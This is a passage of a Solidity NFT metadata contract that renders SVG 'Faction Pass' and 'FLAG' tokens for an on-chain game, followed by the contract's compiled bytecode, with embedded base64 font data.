iaOJ01k6pjtX8ciou7t7pgsMpzWLjmQ2dAOK1OnsjY/URzNZvM0KhBgUDexQXysRK8WBgai0mlnvto9BKppAqBOYOVCRSKNJjPP2BHrYVcl0BAh77ZgE5eiGbkG0mwEh9CauN1JyUHOEhdibZDDRsWk+aKoJRPpGmgnQllXPDWn2mSerjttb8yya3peoVlN5+0zKF4xnlSQxmrjviWU6dOpp0Tgolo84yuMZRJKrD9MBagTfjKbT40QJXPWOUEr4xiX7HAMA8MeQ7hKPR+WrnJPbFDTk2fgldJTgu1oAHcGXyIbitCDorX3JqO3LpUBzSmIlgiMzHh1zaFJ/ot9vh3bGzsb045h/+17Dz/P9woeyoABwWAgH3w/ykUOwZkM4QaV2doqr6lE6G6Pobomc0U5moXahvstyN9DJuGJskwo2aG7iDQ1MSemt56ATVNKahpI9eYQfVU8BpucWX7R6xX01itTlNktgMMVFmLqTUmDs3B5AOe/WRcGKJHsDellBs+ta2DCE1ZPP1TXC+hpYqC7m7eDUzVD+VSTBWEvB2wnz6a04Ep/UY0pQ36F+BEkfcoOABxks+Z24sJAzeALpYQ5YalcLjf0tTiccuQx9eWxRCBLJs8GWI5FMgsDBubrAgN5BRGjdetLEkrLI9GOm29SJ4eZL1EPT3DehlPnzjlFWx97UP6SEMpfQf5iUiWkW1aCWzxzT34QYi7/h7nqmfAR0QO6tL4Mj2sz6IohqVGnMibWx8pimmz60s1ppNPxES7X+qhoCCJlUzBHfXAlS5e0WFHdtgm58cB5smwQZTdGDYSnZD8oWFl53ggqCkoIBFqaR4NlW2DgpcJEnYg9FjCidsb2tr1w5Xsbp4gGLx7l4bqx5RbQTFQ+TpmMQOBA4cV5RgG9byXxf5PQdQwt8rOCb9RkHkVtV6wnndIdNRRWME4DYCMK2itwsTk8cUvSsoaVB/4kozrTWuvbwbMdy1zukZiNYux7Q1RIzLIPUYM5UwuPy82xqMmlUli3fFKOo4qRDqKOViZDnz1717kK/+ouVmUozihDEPEBPDimuPbRxe5tTN5AltDtVVT4bvES0p7ILXHC8nEjmYTXpXVNQY7Yk+aVkSJhrKo1RvN4B91Xlcm09n/Lra/XFldW99gCkf1Jdje2d3bPzg8Oj7Z2G+AA3hAAERAAmRAAVRAAzCgAwawAJbAipBf0lhRwCbWlhWyWCzFsUvKkhzutg22wTG4Bs/gGwJDaIgMcUraw1Gl+DbbOflO8K9rMATFTEpI3wTAMLJJ9XNstdkCiTHbJEG5FXE1d1bTpUNXPZRmbLCiUe+h3IyZjQnuIb6XEIa4XrwfYntxrkjsxfQiqZdoRHIvSYWUXnIoUnsoviPATDMMcMVuiNbyT49vwqrqJNKLcN/tGsRsEwwAAAA=) format(\'woff2\'); font-weight: normal; font-style: normal;}</style><rect height=\'100%\' width=\'100%\' fill=\'#ffffff\'/></defs>"; string constant _card = "<path d=\'M614 270L1386 270C1399.25 270 1410 281.976 1410 296.748L1410 1703.25C1410 1718.02 1399.25 1730 1386 1730L614 1730C600.745 1730 590 1718.02 590 1703.25L590 296.748C590 281.976 600.745 270 614 270Z\' fill=\'#ffffff\' opacity=\'1\' stroke=\'#000000\' stroke-linecap=\'round\' stroke-linejoin=\'round\' stroke-width=\'20\'/><path d=\'M920 360L1080 360C1085.52 360 1090 366.716 1090 375L1090 375C1090 383.284 1085.52 390 1080 390L920 390C914.477 390 910 383.284 910 375L910 375C910 366.716 914.477 360 920 360Z\' fill=\'#000000\' opacity=\'1\'/>"; string constant _end = "<path d=\'M590 1750C590 1750 580 1750 580 1740L1420.65 260.643C1420.65 260.643 1430 269.357 1430 280L1430 1730C1430 1740 1420 1750 1410 1750\' fill=\'url(#LinearGradient)\' opacity=\'1\'/></svg>"; constructor (address thestolen){ _thestolen = thestolen; } function factionTokenURI(FactionImage memory tokenData) external view returns(string memory){ require(_thestolen == msg.sender, "Not the real stolen contract"); string memory currentI; if(tokenData.fillOwner && tokenData.fillFaction){ currentI = returnImageText(["cc0c0d","96","middle","1000","1000",UInt256Extensions.secondsToDayTimeString(tokenData.current)]); } string memory highscoreTime = UInt256Extensions.secondsToDayTimeString(tokenData.highscore); string memory steals = UInt256Extensions.toString(tokenData.steals); string memory factionImage = string(abi.encodePacked( _imageStart, _fonts, _card, returnImageText([tokenData.fillFaction ? colorActive : colorNormal,"80","middle","1000","600",tokenData.factionName]), returnImageText(["000000","48","middle","1000","520","FACTION PASS"]), returnImageText(["000000","32","start","650","670","HIGHSCORE"]), returnImageText(["000000","32","start","650","710","MEMBERS"]), returnImageText(["000000","32","start","650","750","STEALS"]) )); factionImage = string(abi.encodePacked( factionImage, returnImageText([tokenData.fillHighscore ? colorActive : colorNormal,"32","start","830","670",highscoreTime]), returnImageText(["cc0c0d","32","start","830","710",UInt256Extensions.toString(tokenData.member)]), returnImageText(["cc0c0d","32","start","830","750",UInt256Extensions.toString(tokenData.factionSteals)]), returnImageText([tokenData.fillOwner ? colorActive : colorNormal,"32","end","1380","1700",toAsciiString(tokenData.owner)]), returnImageText(["000000","32","end","1380","1660","STEALS"]), currentI, returnImageText(["cc0c0d","32","end","1280","1660",steals]) )); factionImage = string(abi.encodePacked( factionImage, _end )); string memory out = ""; out = string(abi.encodePacked( returnNameMeta(string(abi.encodePacked(tokenData.factionName," Faction Pass"))), "\"image_data\":\"data:image/svg+xml;base64,", Base64.encode(bytes(factionImage)), "\",", returnAttributeMeta(), returnTraitMeta("Faction",tokenData.factionName), ",", returnTraitMeta("Owner Steals",UInt256Extensions.toString(tokenData.steals)), "]}" )); out = string(Base64.encode(bytes(out))); out = string(abi.encodePacked("data:application/json;base64,",out)); return out; } string constant flagImage = "<path d=\'M866.025 1097.5L999.641 1174.64L1133.26 1097.5L999.641 1020.36\' fill=\'#ededed\'/> <path d=\'M921.698 1091.07L999.641 1136.07L1077.58 1091.07L999.641 1046.07L921.698 1091.07\' fill=\'#ededed\'/> <path d=\'M921.698 1091.07L921.698 1103.93L999.641 1148.93L999.641 1136.07\' fill=\'#d9d9d9\'/> <path d=\'M999.641 1148.93L1077.58 1103.93L1077.58 1091.07L999.641 1136.07\' fill=\'#a6a6a6\'/> <path d=\'M866.025 1097.5L866.025 1110.36L999.641 1187.5L999.641 1174.64\' fill=\'#d9d9d9\'/> <path d=\'M999.641 1187.5L1133.26 1110.36L1133.26 1097.5L999.641 1174.64\' fill=\'#a6a6a6\'/> <path d=\'M999.641 1097.5L1021.91 1084.64L1021.91 557.5L999.641 570.357\' fill=\'#a6a6a6\'/> <path d=\'M999.641 1097.5L977.372 1084.64L977.372 557.5L999.641 570.357\' fill=\'#ededed\'/> <path d=\'M977.372 557.5L999.641 570.357L1021.91 557.5L1004.42 547.4L999.641 544.643\' fill=\'#d9d9d9\'/> <path d=\'M1020.44 740.775L1255.74 604.926L1255.74 422.5L1021.91 557.5\' fill=\'#b50c0c\'/> <path d=\'M999.641 544.643L1021.91 557.5L1255.74 422.5L1233.47 409.643\' fill=\'#cc0c0d\'/>"; function flagTokenURI(string memory factionName, uint256 current) external view returns(string memory){ require(_thestolen == msg.sender, "Not the real stolen contract"); string memory c = UInt256Extensions.secondsToDayTimeString(current); if(current > 0){ c = UInt256Extensions.secondsToDayTimeString(current); } string memory factionNameI; string memory currentI; if(current > 0){ factionNameI = returnImageText(["cc0c0d","240","middle","1000","1475",factionName]); currentI = returnImageText(["cc0c0d","64","middle","1000","1550",c]); } string memory flagCompleteImage = string(abi.encodePacked( _imageStart, _fonts, flagImage, factionNameI, currentI, "</svg>" )); string memory out = ""; out = string(abi.encodePacked( returnNameMeta("FLAG"), "\"image_data\":\"data:image/svg+xml;base64,", Base64.encode(bytes(flagCompleteImage)), "\",", returnAttributeMeta(), returnTraitMeta("Flag","FLAG"), ",", returnTraitMeta("Faction Holding",factionName), "]}" )); out = string(Base64.encode(bytes(out))); out = string(abi.encodePacked("data:application/json;base64,",out)); return out; } function returnImageText(string[6] memory imageText) internal pure returns(string memory){ string memory out = string(abi.encodePacked( "<text fill=\'#", imageText[0] , "\' font-family=\'Oswald\' font-weight=\'900\' font-size=\'", imageText[1], "\' text-anchor=\'", imageText[2])); out = string(abi.encodePacked( out, "\' x=\'", imageText[3], "\' y=\'", imageText[4] )); out = string(abi.encodePacked( out, "\'><tspan>", imageText[5], "</tspan></text>" )); return out; } function returnNameMeta(string memory tokenName) internal pure returns(string memory){ return string(abi.encodePacked("{\"name\":\"" , tokenName , "\",")); } function returnAttributeMeta() internal pure returns(string memory){ return "\"attributes\":["; } function returnTraitMeta(string memory dataType, string memory dataValue) internal pure returns(string memory){ return string(abi.encodePacked("{\"trait_type\":\"" , dataType , "\",\"value\":\"" , dataValue , "\"}")); } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint256 i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint256(uint160(x)) / (2**(8 * (19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2 * i] = char(hi); s[2 * i + 1] = char(lo); } return string(s); } function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57) & 0x5f; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063aee9fb071461003b578063c73f680214610064575b600080fd5b61004e610049366004611803565b610077565b60405161005b9190611e53565b60405180910390f35b61004e6100723660046117be565b610d51565b6000546060906001600160a01b031633146100d95760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420746865207265616c2073746f6c656e20636f6e74726163740000000060448201526064015b60405180910390fd5b6060826020015180156100ea575082515b156101c1576101be6040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b8152508152602001604051806040016040528060028152602001611c9b60f11b8152508152602001604051806040016040528060068152602001656d6964646c6560d01b8152508152602001604051806040016040528060048152602001630313030360e41b8152508152602001604051806040016040528060048152602001630313030360e41b81525081526020016101b7866101200151611106565b9052611215565b90505b60006101d08460c00151611106565b905060006101e28561010001516112a5565b905060006040518060e0016040528060bc815260200161235e60bc9139604051806120000160405280611fda8152602001612853611fda9139604051806102400160405280610212815260200161214c610212913961032b6040518060c001604052808b60000151610272576040518060400160405280600681526020016503030303030360d41b815250610292565b6040518060400160405280600681526020016563623034323960d01b8152505b815260200160405180604001604052806002815260200161038360f41b8152508152602001604051806040016040528060068152602001656d6964646c6560d01b8152508152602001604051806040016040528060048152602001630313030360e41b81525081526020016040518060400160405280600381526020016203630360ec1b81525081526020018b60800151815250611215565b6040805161010081018252600660c082018181526503030303030360d41b60e08401528252825180840184526002815261068760f31b6020828101919091528084019190915283518085018552918252656d6964646c6560d01b82820152828401919091528251808401845260048152630313030360e41b81830152606083015282518084018452600381526203532360ec1b8183015260808301528251808401909352600c83526b46414354494f4e205041535360a01b9083015260a08101919091526103f890611215565b6104d96040518060c001604052806040518060400160405280600681526020016503030303030360d41b815250815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203635360ec1b81525081526020016040518060400160405280600381526020016203637360ec1b8152508152602001604051806040016040528060098152602001684849474853434f524560b81b815250815250611215565b6105b86040518060c001604052806040518060400160405280600681526020016503030303030360d41b815250815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203635360ec1b81525081526020016040518060400160405280600381526020016203731360ec1b8152508152602001604051806040016040528060078152602001664d454d4245525360c81b815250815250611215565b6106966040518060c001604052806040518060400160405280600681526020016503030303030360d41b815250815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203635360ec1b81525081526020016040518060400160405280600381526020016203735360ec1b815250815260200160405180604001604052806006815260200165535445414c5360d01b815250815250611215565b6040516020016106ad989796959493929190611921565b6040516020818303038152906040529050806107ad6040518060c0016040528089604001516106fa576040518060400160405280600681526020016503030303030360d41b81525061071a565b6040518060400160405280600681526020016563623034323960d01b8152505b815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203833360ec1b81525081526020016040518060400160405280600381526020016203637360ec1b815250815260200186815250611215565b6108756040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b815250815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203833360ec1b81525081526020016040518060400160405280600381526020016203731360ec1b81525081526020016101b78b6060015161ffff166112a5565b6109396040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b815250815260200160405180604001604052806002815260200161199960f11b8152508152602001604051806040016040528060058152602001641cdd185c9d60da1b81525081526020016040518060400160405280600381526020016203833360ec1b81525081526020016040518060400160405280600381526020016203735360ec1b81525081526020016101b78c60e001516112a5565b610a2b6040518060c001604052808c60200151610974576040518060400160405280600681526020016503030303030360d41b815250610994565b6040518060400160405280600681526020016563623034323960d01b8152505b815260200160405180604001604052806002815260200161199960f11b815250815260200160405180604001604052806003815260200162195b9960ea1b8152508152602001604051806040016040528060048152602001630313338360e41b8152508152602001604051806040016040528060048152602001630313730360e41b81525081526020016101b78d60a001516113ab565b610b096040518060c001604052806040518060400160405280600681526020016503030303030360d41b815250815260200160405180604001604052806002815260200161199960f11b815250815260200160405180604001604052806003815260200162195b9960ea1b8152508152602001604051806040016040528060048152602001630313338360e41b8152508152602001604051806040016040528060048152602001630313636360e41b815250815260200160405180604001604052806006815260200165535445414c5360d01b815250815250611215565b89610bca6040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b815250815260200160405180604001604052806002815260200161199960f11b815250815260200160405180604001604052806003815260200162195b9960ea1b8152508152602001604051806040016040528060048152602001630313238360e41b8152508152602001604051806040016040528060048152602001630313636360e41b81525081526020018b815250611215565b604051602001610be1989796959493929190611921565b60408051601f1981840301815260e0830190915260bc80835290925082919061482d6020830139604051602001610c199291906118f2565b60408051601f19818403018152602083810183526000845260808a01519251919450610c5f92610c4b92909101611b9c565b6040516020818303038152906040526114f2565b610c688361151b565b60408051808201909152600e81526d2261747472696275746573223a5b60901b6020820152610cba604051806040016040528060078152602001662330b1ba34b7b760c91b8152508b60800151611681565b610cf56040518060400160405280600c81526020016b4f776e657220537465616c7360a01b815250610cf08d61010001516112a5565b611681565b604051602001610d09959493929190611bcd565b6040516020818303038152906040529050610d238161151b565b905080604051602001610d369190611e0e565b60408051601f19818403018152919052979650505050505050565b6000546060906001600160a01b03163314610dae5760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420746865207265616c2073746f6c656e20636f6e74726163740000000060448201526064016100d0565b6000610db983611106565b90508215610dcd57610dca83611106565b90505b6060808415610f6257610e9a6040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b81525081526020016040518060400160405280600381526020016203234360ec1b8152508152602001604051806040016040528060068152602001656d6964646c6560d01b8152508152602001604051806040016040528060048152602001630313030360e41b8152508152602001604051806040016040528060048152602001633134373560e01b815250815260200188815250611215565b9150610f5f6040518060c001604052806040518060400160405280600681526020016518d8cc18cc1960d21b8152508152602001604051806040016040528060028152602001610d8d60f21b8152508152602001604051806040016040528060068152602001656d6964646c6560d01b8152508152602001604051806040016040528060048152602001630313030360e41b8152508152602001604051806040016040528060048152602001630313535360e41b815250815260200185815250611215565b90505b60006040518060e0016040528060bc815260200161235e60bc9139604051806120000160405280611fda8152602001612853611fda91396040518061042001604052806103f9815260200161241a6103f991398585604051602001610fcb9594939291906119c6565b60408051601f19818403018152602083810183526000845282518084019093526004835263464c414760e01b908301529250611006906114f2565b61100f8361151b565b60408051808201909152600e81526d2261747472696275746573223a5b60901b602082015261107660405180604001604052806004815260200163466c616760e01b81525060405180604001604052806004815260200163464c414760e01b815250611681565b6110a76040518060400160405280600f81526020016e46616374696f6e20486f6c64696e6760881b8152508d611681565b6040516020016110bb959493929190611bcd565b60405160208183030381529060405290506110d58161151b565b9050806040516020016110e89190611e0e565b60408051601f19818403018152919052955050505050505b92915050565b606060006111176201518084611eed565b90506000610e1061112b620151808461201a565b611135908661205a565b61113f9190611eed565b90506000603c611151610e108461201a565b61115e620151808661201a565b611168908861205a565b611172919061205a565b61117c9190611eed565b9050600061118b603c8361201a565b611197610e108561201a565b6111a4620151808761201a565b6111ae908961205a565b6111b8919061205a565b6111c2919061205a565b90506111cd846112a5565b6111d6846112a5565b6111df846112a5565b6111e8846112a5565b6040516020016111fb9493929190611b09565b604051602081830303815290604052945050505050919050565b80516020808301516040808501519051606094600094611239949193919201611cde565b60408051808303601f19018152908290526060850151608086015191935061126692849290602001611a42565b60408051808303601f190181529082905260a085015190925061128e91839190602001611aa9565b60408051601f198184030181529190529392505050565b6060816112c95750506040805180820190915260018152600360fc1b602082015290565b8160005b81156112f357806112dd816120c4565b91506112ec9050600a83611eed565b91506112cd565b60008167ffffffffffffffff81111561130e5761130e612135565b6040519080825280601f01601f191660200182016040528015611338576020820181803683370190505b5090505b84156113a35761134d60018361205a565b915061135a600a866120df565b611365906030611eb0565b60f81b81838151811061137a5761137a61211f565b60200101906001600160f81b031916908160001a90535061139c600a86611eed565b945061133c565b949350505050565b60408051602880825260608281019093526000919060208201818036833701905050905060005b60148110156114eb5760006113e882601361205a565b6113f390600861201a565b6113fe906002611f66565b611411906001600160a01b038716611eed565b60f81b9050600060108260f81c6114289190611f01565b60f81b905060008160f81c601061143f9190612039565b8360f81c61144d9190612071565b60f81b905061145b826116ad565b8561146786600261201a565b815181106114775761147761211f565b60200101906001600160f81b031916908160001a905350611497816116ad565b856114a386600261201a565b6114ae906001611eb0565b815181106114be576114be61211f565b60200101906001600160f81b031916908160001a90535050505080806114e3906120c4565b9150506113d2565b5092915050565b6060816040516020016115059190611ca0565b6040516020818303038152906040529050919050565b80516060908061153b575050604080516020810190915260008152919050565b6000600361154a836002611eb0565b6115549190611eed565b61155f90600461201a565b9050600061156e826020611eb0565b67ffffffffffffffff81111561158657611586612135565b6040519080825280601f01601f1916602001820160405280156115b0576020820181803683370190505b5090506000604051806060016040528060408152602001612813604091399050600181016020830160005b8681101561163c576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016115db565b506003860660018114611656576002811461166757611673565b613d3d60f01b600119830152611673565b603d60f81b6000198301525b505050918152949350505050565b60608282604051602001611696929190611d9d565b604051602081830303815290604052905092915050565b6000600a60f883901c10156116d4576116cb60f883901c6030611ec8565b60f81b92915050565b6116e360f883901c6057611ec8565b60f81b605f60f81b169050919050565b919050565b80356001600160a01b03811681146116f357600080fd5b803580151581146116f357600080fd5b600082601f83011261173057600080fd5b813567ffffffffffffffff8082111561174b5761174b612135565b604051601f8301601f19908116603f0116810190828211818310171561177357611773612135565b8160405283815286602085880101111561178c57600080fd5b836020870160208301376000602085830101528094505050505092915050565b803561ffff811681146116f357600080fd5b600080604083850312156117d157600080fd5b823567ffffffffffffffff8111156117e857600080fd5b6117f48582860161171f565b95602094909401359450505050565b60006020828403121561181557600080fd5b813567ffffffffffffffff8082111561182d57600080fd5b90830190610140828603121561184257600080fd5b61184a611e86565b6118538361170f565b81526118616020840161170f565b60208201526118726040840161170f565b6040820152611883606084016117ac565b606082015260808301358281111561189a57600080fd5b6118a68782860161171f565b6080830152506118b860a084016116f8565b60a082015260c0838101359082015260e0808401359082015261010080840135908201526101209283013592810192909252509392505050565b60008351611904818460208801612094565b835190830190611918818360208801612094565b01949350505050565b6000895160206119348285838f01612094565b8a51918401916119478184848f01612094565b8a519201916119598184848e01612094565b895192019161196b8184848d01612094565b885192019161197d8184848c01612094565b875192019161198f8184848b01612094565b86519201916119a18184848a01612094565b85519201916119b38184848901612094565b919091019b9a5050505050505050505050565b600086516119d8818460208b01612094565b8651908301906119ec818360208b01612094565b86519101906119ff818360208a01612094565b8551910190611a12818360208901612094565b8451910190611a25818360208801612094565b651e17b9bb339f60d11b9101908152600601979650505050505050565b60008451611a54818460208901612094565b642720783d2760d81b9083019081528451611a76816005840160208901612094565b642720793d2760d81b600592909101918201528351611a9c81600a840160208801612094565b01600a0195945050505050565b60008351611abb818460208801612094565b68139f1e3a39b830b71f60b91b9083019081528351611ae1816009840160208801612094565b6e1e17ba39b830b71f1e17ba32bc3a1f60891b60099290910191820152601801949350505050565b60008551611b1b818460208a01612094565b61022160f51b9083019081528551611b3a816002840160208a01612094565b61024160f51b600292909101918201528451611b5d816004840160208901612094565b61026960f51b600492909101918201528351611b80816006840160208801612094565b605360f81b600692909101918201526007019695505050505050565b60008251611bae818460208701612094565b6c2046616374696f6e205061737360981b920191825250600d01919050565b600086516020611be08285838c01612094565b7f22696d6167655f64617461223a22646174613a696d6167652f7376672b786d6c918401918252670ed8985cd94d8d0b60c21b818301528751611c2981602885018b8501612094565b61088b60f21b602893909101928301528651611c4b81602a8501848b01612094565b8651920191611c6081602a8501848a01612094565b600b60fa1b602a93909101928301528451611c8181602b8501848901612094565b615d7d60f01b602b939091019283015250602d01979650505050505050565b683d913730b6b2911d1160b91b81528151600090611cc5816009850160208701612094565b61088b60f21b6009939091019283015250600b01919050565b6c3c746578742066696c6c3d272360981b815260008451611d0681600d850160208901612094565b7f2720666f6e742d66616d696c793d274f7377616c642720666f6e742d77656967600d918401918201527368743d273930302720666f6e742d73697a653d2760601b602d8201528451611d60816041840160208901612094565b6e2720746578742d616e63686f723d2760881b604192909101918201528351611d90816050840160208801612094565b0160500195945050505050565b6e3d913a3930b4ba2fba3cb832911d1160891b81528251600090611dc881600f850160208801612094565b6a1116113b30b63ab2911d1160a91b600f918401918201528351611df381601a840160208801612094565b61227d60f01b601a9290910191820152601c01949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251611e4681601d850160208701612094565b91909101601d0192915050565b6020815260008251806020840152611e72816040850160208701612094565b601f01601f19169190910160400192915050565b604051610140810167ffffffffffffffff81118282101715611eaa57611eaa612135565b60405290565b60008219821115611ec357611ec36120f3565b500190565b600060ff821660ff84168060ff03821115611ee557611ee56120f3565b019392505050565b600082611efc57611efc612109565b500490565b600060ff831680611f1457611f14612109565b8060ff84160491505092915050565b600181815b80851115611f5e578160001904821115611f4457611f446120f3565b80851615611f5157918102915b93841c9390800290611f28565b509250929050565b6000611f728383611f79565b9392505050565b600082611f8857506001611100565b81611f9557506000611100565b8160018114611fab5760028114611fb557611fd1565b6001915050611100565b60ff841115611fc657611fc66120f3565b50506001821b611100565b5060208310610133831016604e8410600b8410161715611ff4575081810a611100565b611ffe8383611f23565b8060001904821115612012576120126120f3565b029392505050565b6000816000190483118215151615612034576120346120f3565b500290565b600060ff821660ff84168160ff0481118215151615612012576120126120f3565b60008282101561206c5761206c6120f3565b500390565b600060ff821660ff84168082101561208b5761208b6120f3565b90039392505050565b60005b838110156120af578181015183820152602001612097565b838111156120be576000848401525b50505050565b60006000198214156120d8576120d86120f3565b5060010190565b6000826120ee576120ee612109565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe3c7061746820643d274d363134203237304c313338362032373043313339392e3235203237302031343130203238312e3937362031343130203239362e3734384c3134313020313730332e3235433134313020313731382e303220313339392e32352031373330203133383620313733304c3631342031373330433630302e37343520313733302035393020313731382e30322035393020313730332e32354c353930203239362e37343843353930203238312e393736203630302e3734352032373020363134203237305a272066696c6c3d272366666666666627206f7061636974793d273127207374726f6b653d272330303030303027207374726f6b652d6c696e656361703d27726f756e6427207374726f6b652d6c696e656a6f696e3d27726f756e6427207374726f6b652d77696474683d273230272f3e3c7061746820643d274d393230203336304c313038302033363043313038352e3532203336302031303930203336362e3731362031303930203337354c31303930203337354331303930203338332e32383420313038352e3532203339302031303830203339304c39323020333930433931342e3437372033393020393130203338332e32383420393130203337354c3931302033373543393130203336362e373136203931342e3437372033363020393230203336305a272066696c6c3d272330303030303027206f7061636974793d2731272f3e3c737667207374796c653d2766696c6c2d72756c653a6e6f6e7a65726f3b636c69702d72756c653a6576656e6f64643b7374726f6b652d6c696e656361703a726f756e643b7374726f6b652d6c696e656a6f696e3a726f756e643b272076657273696f6e3d27312e31272076696577426f783d27302030203230303020323030302720786d6c3a73706163653d2770726573657276652720786d6c6e733d27687474703a2f2f7777772e77332e6f72672f323030302f73766727203e3c7061746820643d274d3836362e30323520313039372e354c3939392e36343120313137342e36344c313133332e323620313039372e354c3939392e36343120313032302e3336272066696c6c3d2723656465646564272f3e203c7061746820643d274d3932312e36393820313039312e30374c3939392e36343120313133362e30374c313037372e353820313039312e30374c3939392e36343120313034362e30374c3932312e36393820313039312e3037272066696c6c3d2723656465646564272f3e203c7061746820643d274d3932312e36393820313039312e30374c3932312e36393820313130332e39334c3939392e36343120313134382e39334c3939392e36343120313133362e3037272066696c6c3d2723643964396439272f3e203c7061746820643d274d3939392e36343120313134382e39334c313037372e353820313130332e39334c313037372e353820313039312e30374c3939392e36343120313133362e3037272066696c6c3d2723613661366136272f3e203c7061746820643d274d3836362e30323520313039372e354c3836362e30323520313131302e33364c3939392e36343120313138372e354c3939392e36343120313137342e3634272066696c6c3d2723643964396439272f3e203c7061746820643d274d3939392e36343120313138372e354c313133332e323620313131302e33364c313133332e323620313039372e354c3939392e36343120313137342e3634272066696c6c3d2723613661366136272f3e203c7061746820643d274d3939392e36343120313039372e354c313032312e393120313038342e36344c313032312e3931203535372e354c3939392e363431203537302e333537272066696c6c3d2723613661366136272f3e203c7061746820643d274d3939392e36343120313039372e354c3937372e33373220313038342e36344c3937372e333732203535372e354c3939392e363431203537302e333537272066696c6c3d2723656465646564272f3e203c7061746820643d274d3937372e333732203535372e354c3939392e363431203537302e3335374c313032312e3931203535372e354c313030342e3432203534372e344c3939392e363431203534342e363433272066696c6c3d2723643964396439272f3e203c7061746820643d274d313032302e3434203734302e3737354c313235352e3734203630342e3932364c313235352e3734203432322e354c313032312e3931203535372e35272066696c6c3d2723623530633063272f3e203c7061746820643d274d3939392e363431203534342e3634334c313032312e3931203535372e354c313235352e3734203432322e354c313233332e3437203430392e363433272066696c6c3d2723636330633064272f3e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f203c646566733e3c6c696e6561724772616469656e74206772616469656e745472616e73666f726d3d276d61747269782831203020302031203635202d37302927206772616469656e74556e6974733d277573657253706163654f6e557365272069643d274c696e6561724772616469656e74272078313d2731303130272078323d2731353330272079313d2731303130272079323d2731343230273e3c73746f70206f66667365743d2730272073746f702d636f6c6f723d2723373537353735272073746f702d6f7061636974793d27302e323230383138272f3e203c73746f70206f66667365743d2731272073746f702d636f6c6f723d2723666666666666272073746f702d6f7061636974793d27302e343532363932272f3e3c2f6c696e6561724772616469656e743e3c7374796c6520747970653d27746578742f637373273e40666f6e742d666163657b666f6e742d66616d696c793a20274f7377616c64273b20666f6e742d7765696768743a203930303b207372633a2075726c28646174613a6170706c69636174696f6e2f666f6e742d776f6666323b636861727365743d7574662d383b6261736536342c643039474d6741424141414141425a4141424941414141414c7277414142585a414145414141414141414141414141414141414141414141414141414141414150305a4756453063476a51626a6b776367316f4759414344416767694359526c4551674b726b4370625174774141453241695144675677454941574a4a67654346777942566875384b68587332457541387741466e6432734949716173435946732f382f4a64416877774a37796b423941686c416269474461494c4648577476364c6e4c4d36765a70426d3965372f3476613631786f55467a74362f4b477877734569704955354e61435a51494a4242675a525462725974317946375247614f2f4476754f6e5065762b50384741324e4a435a4539453739326275544c4d754f4447456e625631675969764e49344a665a67335274746f686573476f4a746f723273516f33416645784f78627a4c3749344c4c62767779414176685067774a592f2b466372454f6430476a696f77464663395a623150572f366b4e31706c4a396b6c78416268516259717049544154356a372f753832396274756d48335a733636335759696454796b2b4d48356a6b674a79774836482f584e476b352b622b6742367a3261747a474e723379434958704c65624f33746c4e4b454937787867592b4b58746439646a486d517a41642f6a7434684b4672645372502b54726e72677062617156516c594f465137365671545a51454b704d38563066372f4f6e335865795572655171636b774a50704d4c575963534e364f7a74736b6a337663685065705a6a795934625751486e6838685149747346784f6b506179482b6742504256443537655339504f5056306d4a594f553565686234625732446e537361324942416b53517241333976635732563149574141657139564768346d69364554394c723552674142387648587543415442653138766d6777426e7a636f5667674b44796741306967456f516d43415251674b43414b7842486f374b314c506471674f6e58704e51687631766846633068683446576d38584a6a6d546c3577527963784e696735696371584b6d6a6670563945664a6f51697336304973425447494738316a434f726f5a5a41627a574d494d42686c6b485a765a79333245535041684f41456f72414169415245786d4e7644694530347951706d695a49597464713154796a4b416855446e6578773969724c5048587861484145794c42514673796730726d426b3641396366414358547a59796f6c7a2b55434b38496f76586c6d5953776350466f507730455567766c513949512b446a554d596c7768527376434945536442446755556b714b597370516a545555716f36794877594856785772466c587741674742324d48416536414c4334344a50634f57504338624577554445494c7a7a6f50685856517a752f64566c425339586655414b775733636d71366e2f5166664677592f4b746642326461324b7844526e596e5134726152504d644c5776456878734a61746f31774b304872476c7977344d455a586d5432413855677736344a562b43616449526a382b3233616d573471614c79686739784d304f3431654465627a716633664f4538592b667455556a2b4f4230473057457837336162587768364f686a76787a772b5265466662695033506e433441544f4e39436643357736516c554d4570654b5242766273626d6739637331376365485062667a6359474e6e505844475155504e56667a67584d723073436469722b58695974652b687765756e4a4861357947646f4a48436b55426b59466c55306a343548797953653165455244464a51734c53414168764b5430682b45414235557a774e784144524b5861424a3673554d634a786165354a2b766742516869716d41537955716b61414b56556b69674d7369546e324d626b4852434b6639694d3570326e535544746f643171586a674f5061394a534f4f4b7833664b2f44427354336c6f4d59436d5a535435346d444c6b4b417148736a70343463665938636d6156543578463864797153584